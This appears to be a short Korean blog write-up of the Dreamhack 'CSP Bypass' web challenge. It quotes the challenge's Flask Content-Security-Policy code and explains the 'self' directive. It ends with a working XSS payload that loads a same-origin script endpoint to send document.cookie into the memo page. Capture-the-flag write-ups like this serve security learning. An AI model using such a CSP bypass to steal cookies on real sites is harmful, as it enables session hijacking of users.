STUDY/Dreamhack
[Dreamhack] CSP Bypass(web,2)
CH@3M
2024. 7. 13. 01:36
CSP를 우회하는 문제
@app.after_request
def add_header(response):
global nonce
response.headers[
"Content-Security-Policy"
] = f"default-src 'self'; img-src https://dreamhack.io; style-src 'self' 'unsafe-inline'; script-src 'self' 'nonce-{nonce}'"
nonce = os.urandom(16).hex()
return response
CSP 설정을 보고 뭘 의미하는 지 파악
self : 페이지의 현재 출처 (Origin) 내에서 로드하는 리소스만 허용합니다.
flag 메뉴에서 source를 자기 자신으로 설정하면 우회가 가능할 것으로 보인다.
이렇게 저렇게 해보다가 다음과 같이 실행하면 memo에 flag가 입력되는 것을 확인 할 수 있다.
URL Decoding 되는 것도 고려하여 %2B로 작성해야한다.
<script src="/vuln?param=location.href='/memo?memo='%2Bdocument.cookie"></script>
반응형